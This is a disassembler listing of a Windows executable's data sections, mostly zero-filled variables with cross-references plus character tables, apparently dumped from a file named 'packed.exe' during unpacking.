dword_4CAF68	dd 0			; DATA XREF: sub_409B12+365w
					; sub_409B12+3BAr ...
dword_4CAF6C	dd 0			; DATA XREF: sub_409B12+AA2w
dword_4CAF70	dd 0			; DATA XREF: sub_409B12+5DCw
					; sub_409B12+748r ...
dword_4CAF74	dd 0			; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5153r ...
dword_4CAF78	dd 0			; DATA XREF: sub_409B12+4Bw
					; sub_409B12+C2r ...
dword_4CAF7C	dd 0			; DATA XREF: sub_409B12+473w
					; sub_409B12+4CBr ...
dword_4CAF80	dd 0			; DATA XREF: sub_409B12+165w
					; sub_409B12+1BAr ...
dword_4CAF84	dd 0			; DATA XREF: sub_409B12+9FFw
					; sub_409B12+A5Br ...
dword_4CAF88	dd 0			; DATA XREF: sub_409B12+685w
					; sub_409B12+7ACr ...
dword_4CAF8C	dd 0			; DATA XREF: sub_401955+D1r
					; sub_401ACD+51B6r ...
dword_4CAF90	dd 0			; DATA XREF: sub_409B12+C1Bw
					; sub_409B12+C47r
dword_4CAF94	dd 0			; DATA XREF: sub_409B12+3Ew
					; sub_409B12+BAr ...
dword_4CAF98	dd 0			; DATA XREF: sub_401000+45r
					; sub_409B12+298w ...
dword_4CAF9C	dd 0			; DATA XREF: sub_409B12+651w
					; sub_409B12+78Cr ...
dword_4CAFA0	dd 0			; DATA XREF: sub_409B12+637w
					; sub_409B12+77Cr ...
dword_4CAFA4	dd 0			; DATA XREF: sub_401ACD+73B9r
					; sub_409B12+C92w
dword_4CAFA8	dd 0			; DATA XREF: sub_409B12+879w
					; ___:004168D5r ...
dword_4CAFAC	dd 0			; DATA XREF: sub_409B12+112w
dword_4CAFB0	dd 0			; DATA XREF: sub_409B12+BE7w
					; sub_409B12+C22r
dword_4CAFB4	dd 0			; DATA XREF: sub_401ACD+2FE4r
					; sub_401ACD+5F98r ...
dword_4CAFB8	dd 0			; DATA XREF: sub_409B12+459w
					; sub_409B12+4BBr ...
dword_4CAFBC	dd 0			; DATA XREF: sub_409B12+49Aw
					; sub_409B12+4E3r ...
dword_4CAFC0	dd 0			; DATA XREF: sub_409B12+466w
					; sub_409B12+4C3r ...
dword_4CAFC4	dd 0			; DATA XREF: sub_401955+89r
					; sub_401ACD+51D3r ...
dword_4CAFC8	dd 0			; DATA XREF: sub_409B12+1A6w
					; sub_409B12+1E2r ...
dword_4CAFCC	dd 0			; DATA XREF: sub_409B12+9F2w
					; sub_409B12+A53r ...
dword_4CAFD0	dd 0			; DATA XREF: sub_409B12+158w
					; sub_409B12+1ADr ...
dword_4CAFD4	dd 0			; DATA XREF: sub_409B12+8Cw
					; sub_409B12+E2r ...
dword_4CAFD8	dd 0			; DATA XREF: sub_409B12+610w
					; sub_409B12+764r ...
dword_4CAFDC	dd 0			; DATA XREF: sub_409B12+B43w
					; sub_409B12+B5Fr
dword_4CAFE0	dd 0			; DATA XREF: sub_409B12+33Aw
					; sub_419651+55r
dword_4CAFE4	dd 0			; DATA XREF: sub_409B12+27Ew
					; sub_409B12+2D3r ...
dword_4CAFE8	dd 0			; DATA XREF: sub_409B12+BAAw
dword_4CAFEC	dd 0			; DATA XREF: sub_409B12+AECw
					; sub_40AB31+CEr
dword_4CAFF0	dd 0			; DATA XREF: sub_409B12+ADFw
					; sub_409B12+AE6r ...
dword_4CAFF4	dd 0			; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5132r ...
dword_4CAFF8	dd 0			; DATA XREF: sub_401ACD+5124r
					; sub_401ACD+7980r ...
dword_4CAFFC	dd 0			; DATA XREF: sub_409B12+BF4w
					; sub_409B12+C2Fr
dword_4CB000	dd 0			; DATA XREF: sub_401ACD+1E56r
					; sub_401ACD+5AEDr ...
dword_4CB004	dd 0			; DATA XREF: sub_409B12+9B1w
					; sub_409B12+A2Br ...
dword_4CB008	dd 0			; DATA XREF: sub_409B12+65Ew
					; sub_409B12+794r ...
dword_4CB00C	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CB010	dd 0			; DATA XREF: sub_409B12+59Bw
					; sub_409B12+70Cr ...
dword_4CB014	dd 0			; DATA XREF: sub_409B12+B36w
					; sub_409B12+B57r
dword_4CB018	dd 0			; DATA XREF: sub_409B12+540w
					; sub_409B12+6C4r ...
dword_4CB01C	dd 0			; DATA XREF: sub_409B12+B29w
					; sub_409B12+B4Ar
dword_4CB020	dd 0			; DATA XREF: ___:00401273r
					; sub_409B12+31w ...
dword_4CB024	dd 0			; DATA XREF: sub_409B12+17Fw
					; sub_409B12+1CAr ...
		dd 0
dword_4CB02C	dd 0			; DATA XREF: sub_409B12+927w
					; sub_409B12+93Br
dword_4CB030	dd 0			; DATA XREF: sub_409B12+99w
					; sub_409B12+EAr ...
dword_4CB034	dd 0			; DATA XREF: sub_409B12:loc_409C10w
					; sub_409B12+12Bw ...
dword_4CB038	dd 0			; DATA XREF: sub_409B12+126w
					; sub_40A7CE+1Cr
dword_4CB03C	dd 0			; DATA XREF: sub_409B12:loc_409D00w
					; sub_409B12:loc_409D67w ...
dword_4CB040	dd 0			; DATA XREF: sub_409B12+250w
					; sub_40A7CE+50r
dword_4CB044	dd 0			; DATA XREF: ___:0040156Ar
					; sub_401ACD+4567r ...
dword_4CB048	dd 0			; DATA XREF: sub_409B12+41Ew
					; sub_40A7CE+84r
dword_4CB04C	dd 0			; DATA XREF: sub_409B12:loc_40A016w
					; sub_40A7CE:loc_40A87Er
dword_4CB050	dd 0			; DATA XREF: sub_409B12+4FFw
					; sub_40A7CE+B8r
dword_4CB054	dd 0			; DATA XREF: sub_409B12:loc_40A2E7w
					; sub_40A7CE:loc_40A8B2r
dword_4CB058	dd 0			; DATA XREF: sub_409B12+7D0w
					; sub_40A7CE+ECr
dword_4CB05C	dd 0			; DATA XREF: sub_409B12:loc_40A3D2w
					; sub_409B12+8EFw ...
dword_4CB060	dd 0			; DATA XREF: sub_409B12+8EAw
					; sub_40A7CE+120r
dword_4CB064	dd 0			; DATA XREF: sub_401ACD:loc_406F17r
					; sub_409B12:loc_40A466w ...
dword_4CB068	dd 0			; DATA XREF: sub_409B12+94Fw
					; sub_40A7CE+154r
dword_4CB06C	dd 0			; DATA XREF: sub_401ACD+456Fr
					; sub_409B12:loc_40A582w ...
dword_4CB070	dd 0			; DATA XREF: sub_409B12+A6Bw
					; sub_40A7CE+188r
dword_4CB074	dd 0			; DATA XREF: sub_409B12:loc_40A5CCw
					; sub_40A7CE:loc_40A982r
dword_4CB078	dd 0			; DATA XREF: sub_409B12+AB5w
					; sub_40A7CE+1BCr
dword_4CB07C	dd 0			; DATA XREF: sub_409B12:loc_40A616w
					; sub_40A7CE:loc_40A9B6r
dword_4CB080	dd 0			; DATA XREF: sub_409B12+AFFw
					; sub_40A7CE+1F0r
dword_4CB084	dd 0			; DATA XREF: sub_409B12:loc_40A68Aw
					; sub_40A7CE:loc_40A9EAr
dword_4CB088	dd 0			; DATA XREF: sub_409B12+B73w
					; sub_40A7CE+224r
dword_4CB08C	dd 0			; DATA XREF: sub_409B12:loc_40A6D4w
					; sub_40A7CE:loc_40AA1Er
dword_4CB090	dd 0			; DATA XREF: sub_409B12+BBDw
					; sub_40A7CE+258r
dword_4CB094	dd 0			; DATA XREF: sub_409B12:loc_40A772w
					; sub_40A7CE:loc_40AA52r
dword_4CB098	dd 0			; DATA XREF: sub_409B12+C5Bw
					; sub_40A7CE+28Cr
dword_4CB09C	dd 0			; DATA XREF: sub_409B12:loc_40A7BCw
					; sub_40A7CE:loc_40AA86r
dword_4CB0A0	dd 0			; DATA XREF: sub_409B12+CA5w
					; sub_40A7CE+2C0r
dword_4CB0A4	dd 7 dup(0)		; DATA XREF: sub_40AC0F+32o
dword_4CB0C0	dd 0			; DATA XREF: sub_40BA56+18r
					; sub_40BFEB+92w ...
dword_4CB0C4	dd 0			; DATA XREF: sub_40C124+4Dr
					; sub_40C124+2F1w ...
		dd 7FEh	dup(0)
dword_4CD0C0	dd 6 dup(0)		; DATA XREF: sub_40C124+D2o
					; sub_40C124+13Bo ...
dword_4CD0D8	dd 0			; DATA XREF: sub_40BACD+2C4w
					; sub_40BACD+348o
dword_4CD0DC	dd 0			; DATA XREF: sub_40BACD+33Ew
					; sub_40BACD+35Ar
dword_4CD0E0	dd 0			; DATA XREF: sub_40BACD+2CFw
dword_4CD0E4	dd 0			; DATA XREF: sub_40BACD+2B9w
					; sub_40BACD:loc_40BDE2r
dword_4CD0E8	dd 20h dup(0)		; DATA XREF: sub_40BACD+2E2o
					; sub_40BACD+302o
dword_4CD168	dd 0			; DATA XREF: sub_40BACD+2D5w
dword_4CD16C	dd 0			; DATA XREF: sub_40BACD+2EFw
					; sub_40BACD+30Fw
dword_4CD170	dd 0			; DATA XREF: sub_40BACD:loc_40BE3Dr
		align 8
dword_4CD178	dd 0			; DATA XREF: sub_40BACD+82w
					; sub_40BACD+101o
dword_4CD17C	dd 41h dup(0)		; DATA XREF: sub_40BACD+41o
dword_4CD280	dd 41h dup(0)		; DATA XREF: sub_40BACD+69o
dword_4CD384	dd 0			; DATA XREF: sub_40BACD+F7w
					; sub_40BACD+113r
dword_4CD388	dd 0			; DATA XREF: sub_40BACD+52w
dword_4CD38C	dd 0			; DATA XREF: sub_40BACD+4Dw
					; sub_40BACD+D4r
dword_4CD390	dd 20h dup(0)		; DATA XREF: sub_40BACD+9Ao
					; sub_40BACD+BAo
dword_4CD410	dd 0			; DATA XREF: sub_40BACD+8Fw
dword_4CD414	dd 0			; DATA XREF: sub_40BACD+A7w
					; sub_40BACD+C7w
dword_4CD418	dd 0			; DATA XREF: sub_40BACD:loc_40BBF6r
		align 10h
dword_4CD420	dd 0			; DATA XREF: sub_40BACD+1A5w
					; sub_40BACD+225o
dword_4CD424	dd 41h dup(0)		; DATA XREF: sub_40BACD+167o
dword_4CD528	dd 41h dup(0)		; DATA XREF: sub_40BACD+18Co
dword_4CD62C	dd 0			; DATA XREF: sub_40BACD+21Bw
					; sub_40BACD+237r
dword_4CD630	dd 0			; DATA XREF: sub_40BACD+17Aw
dword_4CD634	dd 0			; DATA XREF: sub_40BACD+175w
					; sub_40BACD+1F8r
dword_4CD638	dd 20h dup(0)		; DATA XREF: sub_40BACD+1BEo
					; sub_40BACD+1DEo
dword_4CD6B8	dd 0			; DATA XREF: sub_40BACD+1B1w
dword_4CD6BC	dd 0			; DATA XREF: sub_40BACD+1CBw
					; sub_40BACD+1EBw
dword_4CD6C0	dd 0			; DATA XREF: sub_40BACD:loc_40BD1Ar
		align 8
dword_4CD6C8	dd 0			; DATA XREF: sub_40BACD+417w
					; sub_40BACD+470o
dword_4CD6CC	dd 0A2h	dup(0)		; DATA XREF: sub_40BACD+405o
dword_4CD954	dd 41h dup(0)		; DATA XREF: sub_40BACD+3CFo
dword_4CDA58	dd 0			; DATA XREF: sub_40BACD+3FCw
					; sub_40BACD+423r
		align 10h
dword_4CDA60	dd 0			; DATA XREF: sub_40BACD+466w
					; sub_40BACD+482r
dword_4CDA64	dd 0			; DATA XREF: sub_40BACD+429w
dword_4CDA68	dd 0			; DATA XREF: sub_40BACD+436w
dword_4CDA6C	dd 0			; DATA XREF: sub_40BACD+3F6w
		dd 0
dword_4CDA74	dd 0			; DATA XREF: sub_40BACD:loc_40BF65r
		dd 0
dword_4CDA7C	dd 0			; DATA XREF: sub_40B719+Er
					; sub_40B719+32r
dword_4CDA80	dd 0			; DATA XREF: sub_40B719+9r
					; sub_40B719+26r
dword_4CDA84	dd 82h dup(0)		; DATA XREF: sub_40C59B+8Do
dword_4CDC8C	dd 2 dup(0)		; DATA XREF: sub_40CF04+68o
dword_4CDC94	dd 0			; DATA XREF: sub_40D89F+8w
					; ___:0040DC6Eo
		dd 0
dword_4CDC9C	dd 2 dup(0)		; DATA XREF: ___:0040DBA4o
dword_4CDCA4	dd 0			; DATA XREF: ___:0040E4D7r
		dd 0
		dd 0
dword_4CDCB0	dd 0			; DATA XREF: ___:0040E4AAr
dword_4CDCB4	dd 0			; DATA XREF: ___:0040E48Cr
					; ___:0040E4F5r
		dd 0
dword_4CDCBC	dd 0			; DATA XREF: sub_40BACD+2AEr
					; ___:0040E6E8w
		dd 0
dword_4CDCC4	dd 0			; DATA XREF: sub_40B785+1Cr
dword_4CDCC8	dd 0			; DATA XREF: ___:0040EFE8w
					; ___:0040F00Fr ...
		dd 3 dup(0)
dword_4CDCD8	dd 0			; DATA XREF: ___:00410905r
		align 10h
dword_4CDCE0	dd 0			; DATA XREF: sub_412351+4w
					; sub_412351+9o
		dd 109h	dup(0)
dword_4CE108	dd 188h	dup(0)		; DATA XREF: sub_401ACD+2F6Eo
					; sub_401ACD:loc_404AC4o
dword_4CE728	dd 0			; DATA XREF: sub_401ACD+1A23w
					; sub_401ACD+2F66r ...
		dd 11Ch	dup(0)
dword_4CEB9C	dd 1000h dup(0)		; DATA XREF: sub_4151AC+1Do
					; sub_41524Co ...
dword_4D2B9C	dd 0			; DATA XREF: sub_4151AC+13o
					; sub_41524C+Eo ...
dword_4D2BA0	dd 0			; DATA XREF: sub_4155F7+Fr
					; sub_4157F0+12r
		align 8
dword_4D2BA8	dd 0Eh dup(0)		; DATA XREF: sub_416922+Fo
dword_4D2BE0	dd 80h dup(0)		; DATA XREF: sub_4175E9+41o
dword_4D2DE0	dd 200h	dup(0)		; DATA XREF: sub_416F1A+C7o
					; sub_417275+DDo ...
dword_4D35E0	dd 200h	dup(0)		; DATA XREF: sub_416F1A+D6o
					; sub_417275+F4o ...
dword_4D3DE0	dd 0			; DATA XREF: sub_416F1A+86w
					; sub_4170EC+94r
dword_4D3DE4	dd 0			; DATA XREF: sub_416F1A+A7w
					; sub_417552+55r ...
dword_4D3DE8	dd 0			; DATA XREF: sub_416F1A+A0w
					; sub_4170EC+D6r ...
dword_4D3DEC	dd 0			; DATA XREF: sub_416F1A+79w
					; sub_4170EC+35r ...
dword_4D3DF0	dd 80h dup(0)		; DATA XREF: sub_417552+5Eo
dword_4D3FF0	dd 0			; DATA XREF: sub_416F1A+93w
					; sub_4170EC+A2r
		align 8
dword_4D3FF8	dd 0			; DATA XREF: sub_416F1A+E7o
					; sub_416F1A+103r ...
dword_4D3FFC	dd 0			; DATA XREF: sub_417275+17Bw
					; sub_41741C+107w
dword_4D4000	dd 0			; DATA XREF: sub_417275+180w
					; sub_41741C+10Dw ...
dword_4D4004	dd 0			; DATA XREF: sub_417275+159w
					; sub_417552+4Fr
dword_4D4008	dd 0			; DATA XREF: sub_4178BA+22w
					; sub_4178BA:loc_417A3Fw ...
dword_4D400C	dd 0			; DATA XREF: sub_401ACD+3CC3o
					; sub_417788+12o ...
		dd 0
dword_4D4014	dd 0			; DATA XREF: sub_4178BA+1Cr
					; sub_417A5F+3Ar
		dd 4Eh dup(0)
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_437838o
		dd 30h dup(0)
dword_4D4214	dd 0			; DATA XREF: sub_4178BA+28r
					; sub_417A5F+4Aw
		dd 1944h dup(0)
dword_4DA728	dd 0			; DATA XREF: sub_417A5F+23o
dword_4DA72C	dd 81h dup(0)		; DATA XREF: sub_401ACD+3CE1o
					; sub_417788+3Co ...
dword_4DA930	dd 17h dup(0)		; DATA XREF: sub_4187DD:loc_4188FAo
					; sub_4187DD+131o ...
dword_4DA98C	dd 80h dup(0)		; DATA XREF: sub_419593+7Co
					; sub_419593+A5o
dword_4DAB8C	dd 0			; DATA XREF: sub_418B58+45w
					; sub_418B58+4Dr ...
dword_4DAB90	dd 17h dup(0)		; DATA XREF: sub_41945F:loc_419581o
					; sub_41945F+12Do
dword_4DABEC	dd 80h dup(0)		; DATA XREF: sub_418A98+4Co
					; sub_418A98+7Eo ...
byte_4DADEC	db 0			; DATA XREF: sub_418B58+29r
					; sub_418B58+34w
		align 10h
dword_4DADF0	dd 80h dup(0)		; DATA XREF: sub_418DAF+61o
					; sub_418DAF+89o ...
dword_4DAFF0	dd 81h dup(0)		; DATA XREF: sub_4186C1:loc_4186F9o
					; sub_4186C1+5Bo
dword_4DB1F4	dd 0			; DATA XREF: sub_419A20:loc_419A41r
					; sub_419B0F+54r ...
dword_4DB1F8	dd 0			; DATA XREF: sub_419A20r
					; sub_419B0F+37r ...
dword_4DB1FC	dd 0			; DATA XREF: sub_419A50+1Ar
					; sub_419C64+83o
dword_4DB200	dd 0			; DATA XREF: sub_419A20:loc_419A34r
					; sub_419C64+11Bw
dword_4DB204	dd 0Dh dup(0)		; DATA XREF: sub_419B0F+13o
					; sub_419C64:loc_419DA1o
dword_4DB238	dd 0			; DATA XREF: sub_419B0F+CDr
					; sub_419B0F+ECr ...
		align 10h
dword_4DB240	dd 0Eh dup(0)		; DATA XREF: sub_41A88B+47o
dword_4DB278	dd 0			; DATA XREF: sub_41BBBD+1B9w
					; ___:loc_41D268w ...
dword_4DB27C	dd 0			; DATA XREF: sub_41D3BE+35w
					; sub_41DA72:loc_41DB0Cw ...
dword_4DB280	dd 0			; DATA XREF: sub_423A33+13Ar
		dd 0A28h, 501h,	5, 1
dword_4DB294	dd 1			; DATA XREF: ___:loc_401516r
					; ___:00423014w
dword_4DB298	dd 2430B30h		; DATA XREF: ___:0040151Fr
					; ___:0040153Fr ...
		align 10h
dword_4DB2A0	dd 2430B58h		; DATA XREF: ___:00422F0Ew
					; sub_425AC7+9r ...
dword_4DB2A4	dd 0			; DATA XREF: sub_4261AB+36r
dword_4DB2A8	dd 0			; DATA XREF: sub_425AC7+16r
					; sub_425E95+4r ...
		align 10h
off_4DB2B0	dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w
					; "C:\\m_unpacker\\packed.exe"
		align 8
byte_4DB2B8	db 0			; DATA XREF: sub_41B7D3+2Dw
					; sub_4239DB+5r
		align 4
dword_4DB2BC	dd 0			; DATA XREF: sub_41B7D3+27w
dword_4DB2C0	dd 0			; DATA XREF: sub_41B7D3+4r
					; sub_41B7D3+8Bw
dword_4DB2C4	dd 0			; DATA XREF: sub_41C0F4+3Br
					; sub_41C0F4+91w
		dd 0
dword_4DB2CC	dd 0			; DATA XREF: sub_41C748+Aw
dword_4DB2D0	dd 0			; DATA XREF: sub_41D081+5Er
					; sub_41D081+A4w
		align 8
word_4DB2D8	dw 0			; DATA XREF: sub_41D081+55r
					; sub_41D081+9Ao
word_4DB2DA	dw 0			; DATA XREF: sub_41D081+48r
		db 2 dup(0)
word_4DB2DE	dw 0			; DATA XREF: sub_41D081+3Br
word_4DB2E0	dw 0			; DATA XREF: sub_41D081+2Er
word_4DB2E2	dw 0			; DATA XREF: sub_41D081+21r
		align 8
dword_4DB2E8	dd 0			; DATA XREF: ___:loc_422EDCr
					; ___:loc_422F1Er ...
		align 10h
dword_4DB2F0	dd 0			; DATA XREF: sub_41DA29r ___:0041DA50o ...
dword_4DB2F4	dd 0			; DATA XREF: sub_41EB10+4Bw
					; sub_41EC29+2Dw ...
dword_4DB2F8	dd 0			; DATA XREF: sub_41F312r
dword_4DB2FC	dd 0			; DATA XREF: sub_41B202:loc_41B31Er
					; sub_41B202:loc_41B43Fr ...
dword_4DB300	dd 1			; DATA XREF: sub_41FEA9:loc_420024r
					; sub_420042+4w ...
dword_4DB304	dd 0			; DATA XREF: sub_420446+37r
		dd 0
dword_4DB30C	dd 0			; DATA XREF: sub_4219D9+11r
					; sub_421ADD+1Ar ...
byte_4DB310	db 0			; DATA XREF: sub_4219D9+3r
					; sub_4219D9+98r ...
		align 4
dword_4DB314	dd 0			; DATA XREF: sub_421ADD+11r
					; sub_421BBB+21w ...
byte_4DB318	db 0			; DATA XREF: sub_421BBB+51w
		align 4
dword_4DB31C	dd 0			; DATA XREF: sub_421DB1+4Er
					; sub_42218C+3Ar ...
dword_4DB320	dd 0			; DATA XREF: sub_421DB1+5Cr
					; sub_42218C+43r ...
dword_4DB324	dd 0			; DATA XREF: sub_41C9CE+7Ar
					; sub_421F58+5r
dword_4DB328	dd 0			; DATA XREF: sub_42255C+29r
dword_4DB32C	dd 2 dup(0)		; DATA XREF: sub_41D160+Co
dword_4DB334	dd 0			; DATA XREF: sub_41D5AA+4r
					; sub_41D5AA+6Er ...
		dd 3 dup(0)
dword_4DB344	dd 0			; DATA XREF: sub_41D834+61r
					; sub_41D834+BFr ...
		dd 0
dword_4DB34C	dd 1			; DATA XREF: sub_422ACA+28r
					; sub_422ACA+4Cw ...
dword_4DB350	dd 0			; DATA XREF: ___:00422D28r
					; ___:00422D34w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao
					; ___:off_4DB2B0o
		align 10h
		dd 3Ah dup(0)
dword_4DB458	dd 1			; DATA XREF: ___:004231D2r
					; ___:004231F3w ...
dword_4DB45C	dd 0			; DATA XREF: sub_423590+21r
dword_4DB460	dd 0			; DATA XREF: sub_41F32D+154w
					; sub_420446:loc_42046Fw ...
dword_4DB464	dd 0			; DATA XREF: sub_41F32D+7r
dword_4DB468	dd 1			; DATA XREF: sub_423CEC+26r
					; sub_423CEC:loc_423D56w
		align 10h
word_4DB470	dw 0			; DATA XREF: sub_4245E9+1Ao
					; sub_4245E9+46r
byte_4DB472	db 0			; DATA XREF: sub_4245E9+39r
		align 4
dword_4DB474	dd 7 dup(0)		; DATA XREF: sub_4245E9+52o
dword_4DB490	dd 0			; DATA XREF: sub_4245E9+40w
					; sub_4245E9+5Co
dword_4DB494	dd 0			; DATA XREF: sub_4245E9+4Dw
dword_4DB498	dd 0			; DATA XREF: sub_4245E9+31w
dword_4DB49C	dd 0			; DATA XREF: sub_4245E9+52w
dword_4DB4A0	dd 77C26E79h		; DATA XREF: sub_42470C:loc_42472Fr
					; sub_42470C+38r ...
		align 8
dword_4DB4A8	dd 0			; DATA XREF: sub_4247EC+11w
					; sub_4247EC+63w ...
		align 10h
dword_4DB4B0	dd 0			; DATA XREF: sub_4247EC+33o
					; sub_4247EC+46r
dword_4DB4B4	dd 10h dup(0)		; DATA XREF: sub_4247EC+C1o
word_4DB4F4	dw 0			; DATA XREF: sub_424A4A+A8r
word_4DB4F6	dw 0			; DATA XREF: sub_4247EC+54r
					; sub_424A4A+DBr ...
word_4DB4F8	dw 0			; DATA XREF: sub_424A4A+CAr
word_4DB4FA	dw 0			; DATA XREF: sub_424A4A+D3r
					; sub_424A4A:loc_424B3Cr
word_4DB4FC	dw 0			; DATA XREF: sub_424A4A+C0r
word_4DB4FE	dw 0			; DATA XREF: sub_424A4A+B8r
word_4DB500	dw 0			; DATA XREF: sub_424A4A+B0r
word_4DB502	dw 0			; DATA XREF: sub_424A4A+9Er
dword_4DB504	dd 0			; DATA XREF: sub_4247EC+4Br
dword_4DB508	dd 10h dup(0)		; DATA XREF: sub_4247EC+FBo
word_4DB548	dw 0			; DATA XREF: sub_424A4A+46r
word_4DB54A	dw 0			; DATA XREF: sub_4247EC:loc_424863r
					; sub_424A4A+78r ...
word_4DB54C	dw 0			; DATA XREF: sub_424A4A+67r
word_4DB54E	dw 0			; DATA XREF: sub_424A4A+70r
					; sub_424A4A:loc_424ACEr
word_4DB550	dw 0			; DATA XREF: sub_424A4A+5Dr
word_4DB552	dw 0			; DATA XREF: sub_424A4A+55r
word_4DB554	dw 0			; DATA XREF: sub_424A4A+4Dr
word_4DB556	dw 0			; DATA XREF: sub_424A4A+3Er
dword_4DB558	dd 0			; DATA XREF: sub_4247EC+80r
dword_4DB55C	dd 0			; DATA XREF: sub_4247EC+132r
					; sub_4247EC:loc_424938r ...
dword_4DB560	dd 0			; DATA XREF: sub_4247D7r sub_4247D7+Ew
dword_4DB564	dd 0			; DATA XREF: sub_424D78+3r
					; sub_424D78+2Ew ...
dword_4DB568	dd 0			; DATA XREF: sub_424D78+43w
					; sub_424D78:loc_424DC7r
dword_4DB56C	dd 0			; DATA XREF: sub_424D78+4Aw
					; sub_424D78+60r
dword_4DB570	dd 0			; DATA XREF: sub_423A33+3Fr
dword_4DB574	dd 0			; DATA XREF: sub_425955:loc_4259BCr
					; sub_425955+6Do
dword_4DB578	dd 0			; DATA XREF: sub_425955:loc_425993r
					; sub_425955+44o
dword_4DB57C	dd 0			; DATA XREF: sub_425955:loc_425986r
					; sub_425955+37o
dword_4DB580	dd 0			; DATA XREF: sub_425955:loc_4259A0r
					; sub_425955+51o
		align 8
dword_4DB588	dd 0			; DATA XREF: sub_425F03+28r
					; sub_425F03+48w ...
dword_4DB58C	dd 0			; DATA XREF: sub_426988+28r
					; sub_426988+4Cw ...
dword_4DB590	dd 0			; DATA XREF: sub_426C13+26r
					; sub_426C13:loc_426C7Dw
byte_4DB594	db 0			; DATA XREF: sub_40D878r sub_40D878+9w
		align 4
dword_4DB598	dd 2431140h		; DATA XREF: sub_41DBF0:loc_41DC01r
					; sub_41F49D+14r ...
		align 10h
dword_4DB5A0	dd 400h	dup(0)		; DATA XREF: ___:off_43C9E8o
					; ___:0043C9F0o
dword_4DC5A0	dd 200h			; DATA XREF: sub_41DBF0+9r
					; sub_41DBF0+56r ...
		dd 7 dup(0)
dword_4DC5C0	dd 2430650h		; DATA XREF: sub_41F043+75r
					; sub_41F11C+2Ar ...
dword_4DC5C4	dd 3Fh dup(0)		; DATA XREF: ___:00423394o
dword_4DC6C0	dd 20h			; DATA XREF: sub_41DA72+8r
					; sub_41F11C+Cr ...
dword_4DC6C4	dd 4E4h			; DATA XREF: sub_41FEA9+14r
					; sub_41FEA9+65w ...
		align 10h
dword_4DC6D0	dd 3 dup(0)		; DATA XREF: sub_41FEA9+123o
					; sub_41FEA9+171o ...
dword_4DC6DC	dd 0			; DATA XREF: sub_41FEA9+108w
					; sub_41FEA9+15Dw ...
byte_4DC6E0	db 0			; DATA XREF: sub_4200E8:loc_4201F4w
					; sub_4200E8:loc_420211w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DC7E0	db 0			; DATA XREF: sub_41FEA9+5Co
					; sub_41FEA9+AFo ...
byte_4DC7E1	db 0			; DATA XREF: sub_41B9D1+5Dr
					; sub_41FEA9+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DC8E4	dd 0			; DATA XREF: sub_41FEA9+6Ew
					; sub_41FEA9+12Bw ...
dword_4DC8E8	dd 0			; DATA XREF: sub_41E4D4+5r
					; sub_41E4D4+32w
dword_4DC8EC	dd 0			; DATA XREF: sub_41DEA2+23Ar
					; sub_41DEA2+25Ar ...
dword_4DC8F0	dd 0			; DATA XREF: sub_41DEA2+311w
					; sub_41E1CB:loc_41E21Br ...
dword_4DC8F4	dd 0			; DATA XREF: sub_41DEA2+22Dr
					; sub_41DEA2+260r ...
dword_4DC8F8	dd 0			; DATA XREF: sub_41DE77r
					; sub_41DEA2+2CBr ...
dword_4DC8FC	dd 0			; DATA XREF: sub_41DE77+8r
					; sub_41DEA2+2D0r ...
dword_4DC900	dd 0			; DATA XREF: sub_41B202+5Cr
					; sub_41B513+Fr ...
dword_4DC904	dd 2430000h		; DATA XREF: sub_41B0B1+5Ar
					; sub_41B202+C0r ...
dword_4DC908	dd 1			; DATA XREF: sub_41B0B1+Cr
					; sub_41B202:loc_41B232r ...
dword_4DC90C	dd 142340h		; DATA XREF: ___:00422E81r
					; ___:00422FACr
dword_4DC910	dd 1			; DATA XREF: ___:00422F77w sub_425AC7r
dword_4DC914	dd 1			; DATA XREF: sub_42026Dr
					; sub_42026D+11w ...
dword_4DC918	dd 2430758h		; DATA XREF: sub_41B7D3+3Er
					; sub_41CFD3+13r ...
dword_4DC91C	dd 2430758h		; DATA XREF: sub_41B7D3+35r
					; sub_41B7D3+57r ...
		dd 1B8h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000DE000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DE000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4DE000h
		dd 400h	dup(0)
_rsrc___	ends

; Section 3. (virtual address 000DF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DF000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4DF000h
a7icwCw		db '7¨çwµ\çw',0
		align 4
		dd 77345219h, 4	dup(0)
